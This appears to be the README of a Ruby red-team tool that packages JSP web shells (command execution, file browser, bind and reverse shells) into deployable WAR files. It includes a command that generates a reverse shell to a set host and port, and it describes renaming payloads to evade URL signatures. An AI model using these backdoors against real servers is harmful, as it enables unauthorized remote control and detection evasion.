A command-line tool to generate war payloads for penetration testing / red teaming purposes, written in ruby.

Features

• Preexisting payloads. (try -l/--list)
  • cmd_get
  • filebrowser
  • bind_shell
  • reverse_shell
  • reverse_shell_ui
• Configurable backdoor. (try --host/-port)
• Control over payload name.
  • To avoid malicious name after deployment to bypass URL name signatures.

Installation

$ gem install godofwar

Usage

$ godofwar -h 

Help menu:
   -p, --payload PAYLOAD            Generates war from one of the available payloads.
                                        (check -l/--list)
   -H, --host IP_ADDR               Local or Remote IP address for the chosen payload
                                        (used with -p/--payload)
   -P, --port PORT                  Local or Remote Port for the chosen payload
                                        (used with -p/--payload)
   -o, --output [FILE]              Output file and the deployment name.
                                        (default is the payload original name. check '-l/--list')
   -l, --list                       list all available payloads.
   -h, --help                       Show this help message.

Example
List all payloads

$ godofwar -l
├── cmd_get
│   └── Information:
│       ├── Description: Command execution via web interface
│       ├── OS:          any
│       ├── Settings:    {"false"=>"No Settings required!"}
│       ├── Usage:       http://host/cmd.jsp?cmd=whoami
│       ├── References:  ["https://github.com/danielmiessler/SecLists/tree/master/Payloads/laudanum-0.8/jsp"]
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/cmd_get
├── filebrowser
│   └── Information:
│       ├── Description: Remote file browser, upload, download, unzip files and native command execution
│       ├── OS:          any
│       &#9500   ;── Settings:    {"false"=>"No Settings required!"}
│       ├── Usage:       http://host/filebrowser.jsp
│       ├── References:  ["http://www.vonloesch.de/filebrowser.html"]
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/filebrowser
├── bind_shell
│   └── Information:
│       ├── Description: TCP bind shell
│       ├── OS:          any
│       ├── Settings:    {"port"=>4444, "false"=>"No Settings required!"}
│       ├── Usage:       http://host/reverse-shell.jsp
│       ├── References:  ["Metasploit - msfvenom -p java/jsp_shell_bind_tcp"]
│       └   ── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/bind_shell
├── reverse_shell_ui
│   └── Information:
│       ├── Description: TCP reverse shell with a HTML form to set LHOST and LPORT from browser.
│       ├── OS:          any
│       ├── Settings:    {"host"=>"attacker", "port"=>4444, "false"=>"No Settings required!"}
│       ├── Usage:       http://host/reverse_shell_ui.jsp
│       ├── References:  []
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell_ui
├── reverse_shell
│   └── Information:
│       ├── De   scription: TCP reverse shell. LHOST and LPORT are hardcoded
│       ├── OS:          any
│       ├── Settings:    {"host"=>"attacker", "port"=>4444, "false"=>"No Settings required!"}
│       ├── Usage:       http://host/reverse_shell.jsp
│       ├── References:  []
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell

Generate payload with LHOST and LPORT

godofwar -p reverse_shell -H 192.168.100.10  -P 9911 -o puppy

After deployment, you can visit your shell on (http://host:8080/puppy/puppy.jsp)

Contributing

1. Fork it ( https://github.com/KINGSABRI/godofwar/fork ).
2. Create your feature branch (git checkout -b my-new-feature).
3. Commit your changes (git commit -am 'Add some feature').
4. Push to the branch (git push origin my-new-feature).
5. Create a new Pull Request.

Add More Backdoors
To contribute by adding more backdoors:

1. create a new folder under payloads directory.
2. put your jsp file under the newly created directory (make it the same directory name).
3. update payloads_info.json file with
   1. description.
   2. supported operating system (try to make it universal though).
   3. configurations: default host and port.
   4. references: the payload origin or its creator credits.